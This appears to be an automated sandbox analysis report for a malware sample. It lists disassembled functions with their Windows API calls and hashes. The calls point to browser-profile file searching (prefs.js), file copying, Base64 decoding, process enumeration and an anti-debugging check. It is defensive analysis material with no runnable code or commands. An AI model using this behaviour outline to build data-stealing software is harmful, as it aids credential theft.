Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$FindProcess$CloseCopyHeaplstrcat$AllocateDeleteFirstHandleNextOpenSystemTerminateTimelstrlenmemsetwsprintf
String ID: prefs.js
API String ID: 155253302-3783873740
Opcode ID: 5d5a1a51b5cca7467a90e0a8d0dee4beddae530387431583fe7bef00ebb36f4f
Instruction ID: adc87d7f9bcf8559556f9347dc5503655973bf802b7881b52bace7289d7fd3d5
Opcode Fuzzy Hash: 5d5a1a51b5cca7467a90e0a8d0dee4beddae530387431583fe7bef00ebb36f4f
Instruction Fuzzy Hash: DBA1427192010DABDB58FB70DD569FDB778AF54380F408138EA05A3291EF70AA69CF91

Function 002F9D40 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 391fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,003101E9), ref: 002F9D8B
StrCmpCA.SHLWAPI(?,003101DC), ref: 002F9DAE
StrCmpCA.SHLWAPI(?,003101D8), ref: 002F9DC8

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FA19B

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

DeleteFileA.KERNEL32(00000000), ref: 002FA212

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

FindNextFileA.KERNEL32(00000000,?), ref: 002FA250
FindClose.KERNEL32(00000000), ref: 002FA25F

Strings

\*.*, xrefs: 002F9D59

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcat$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 4272825625-1173974218
Opcode ID: 401e63e5d07710ae80aed5af567443f69ceafa607f0553e816a1f563806cb53d
Instruction ID: ad564693d15026b654fe87c2372bafca1b43b3c7f4e792548800f9f207c9f7d3
Opcode Fuzzy Hash: 401e63e5d07710ae80aed5af567443f69ceafa607f0553e816a1f563806cb53d
Instruction Fuzzy Hash: D2E1E37182010CAADB59EBA0DD96EFEF338AF14780F504179F61662191EF706B59CF60

Function 002F99F0 Relevance: 13.8, APIs: 9, Instructions: 251fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003134C0,003101E9), ref: 002F9A50
StrCmpCA.SHLWAPI(?,003101DC), ref: 002F9A6D
StrCmpCA.SHLWAPI(?,003101D8), ref: 002F9A87
StrCmpCA.SHLWAPI(?,02F45318,00000000,?,?,?,003101E0,?,?,003101E9), ref: 002F9B03
StrCmpCA.SHLWAPI(?,02F456C0), ref: 002F9B69

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F8DD0: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F8E75
Part of subcall function 002F8DD0: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F8EAA

FindNextFileA.KERNEL32(00000000,?), ref: 002F9CDF
FindClose.KERNEL32(00000000), ref: 002F9CEE

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$Find$Copylstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 1309316030-0
Opcode ID: 854a3320a4e5a4adab6b727b14a1d331833aff355709b46af5cdae0f82d64a59
Instruction ID: 32ba7f8249f89e96705dd08a2a90be2b48c24f3ab450df1cd222c70bdd415a05
Opcode Fuzzy Hash: 854a3320a4e5a4adab6b727b14a1d331833aff355709b46af5cdae0f82d64a59
Instruction Fuzzy Hash: 22914F7192010CA7CB68FB70DD56AFDB779AF443D0F404639FE0692291EF709A688A91

Function 002F8980 Relevance: 9.1, APIs: 6, Instructions: 100stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002F89A9
lstrlen.KERNEL32(?,00000001,?,00001FA0,00000000,00000000), ref: 002F89C6
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 002F89CE
memcpy.MSVCRT(?,?,?), ref: 002F8A3A
lstrcat.KERNEL32(003101E9,003101E9), ref: 002F8A6D
lstrcat.KERNEL32(003101E9,003101E9), ref: 002F8A90

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: c6769cc163950f52bdb035c1539e777e8932fdbd3995b7e361c4916787842db4
Instruction ID: 67f58765266033998684c67df4afa1f582ac169e81693d58dbc6519af94ca44b
Opcode Fuzzy Hash: c6769cc163950f52bdb035c1539e777e8932fdbd3995b7e361c4916787842db4
Instruction Fuzzy Hash: 16314876E002096BD7119B58EC85BEEFB7CEF48700F088075F908E2240DBB05B588BE1

Function 003012F0 Relevance: 7.6, APIs: 5, Instructions: 61processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00301329
Process32First.KERNEL32(00000000,00000128), ref: 00301339
Process32Next.KERNEL32(00000000,00000128), ref: 0030134B
StrCmpCA.SHLWAPI(?,?), ref: 00301360
CloseHandle.KERNEL32(00000000), ref: 00301385

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 28839f6600a034fe86a9ae264d4a3b415a4d0d68fc6cc5426e5c1aa2bfadc25d
Instruction ID: e121e283756e79b7170d36d3fe0bdc6ca1478ce9a31bf429f0c0741073b1b681
Opcode Fuzzy Hash: 28839f6600a034fe86a9ae264d4a3b415a4d0d68fc6cc5426e5c1aa2bfadc25d
Instruction Fuzzy Hash: 39118175A01218AFDB21DF98DC05BEEB7BCFB49710F0042AAE809E3680D7345A04CBA1

Function 0030D12F Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0030DB06
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0030DB1B
UnhandledExceptionFilter.KERNEL32(00315C14), ref: 0030DB26
GetCurrentProcess.KERNEL32(C0000409), ref: 0030DB42
TerminateProcess.KERNEL32(00000000), ref: 0030DB49

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6377c09b24b4f3199c16a2360b241105b81b23dd4cab541d221f37547fadb70c
Instruction ID: cf1eefe4f733f5b2c83d718f6bdbbfd4d0fa81adb7c171076d40bca637a8c3a7
Opcode Fuzzy Hash: 6377c09b24b4f3199c16a2360b241105b81b23dd4cab541d221f37547fadb70c
Instruction Fuzzy Hash: 3A21F478401204CFD725DFA4FC956883FA4BF2E310F10901AE44997273EBB0598AEF95

Function 00300DF0 Relevance: 6.1, APIs: 4, Instructions: 63memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,00000000,?,?,002F4635,?,?,?,?,?,?), ref: 00300E14
GetProcessHeap.KERNEL32(00000000,?,?,002F4635,?,?,?,?,?,?), ref: 00300E23
RtlAllocateHeap.NTDLL(00000000), ref: 00300E2A

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateBinaryCryptProcessString
String ID:
API String ID: 869800140-0
Opcode ID: 59bc28a420ba069b120c4a59931be87b78d9317a082b40cc46ac17da234f35cc
Instruction ID: 4e230a4bf50f0b1af5cc03648bb74aa04285761bc83b26acd34f9cc765679b1b
Opcode Fuzzy Hash: 59bc28a420ba069b120c4a59931be87b78d9317a082b40cc46ac17da234f35cc
Instruction Fuzzy Hash: 2B113C71201209ABEB10DFA5EC85EAB77ACFF4A321F10055AFD0897240D771AC51DAA0

Function 002F6CD0 Relevance: 6.1, APIs: 4, Instructions: 54encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,002F5AF2,00000000,00000000), ref: 002F6CF7
LocalAlloc.KERNEL32(00000040,00000000,?,002F5AF2,00000000,?,?), ref: 002F6D06
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,002F5AF2,00000000,00000000), ref: 002F6D1D
LocalFree.KERNEL32(?,?,002F5AF2,00000000,?,?), ref: 002F6D2C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
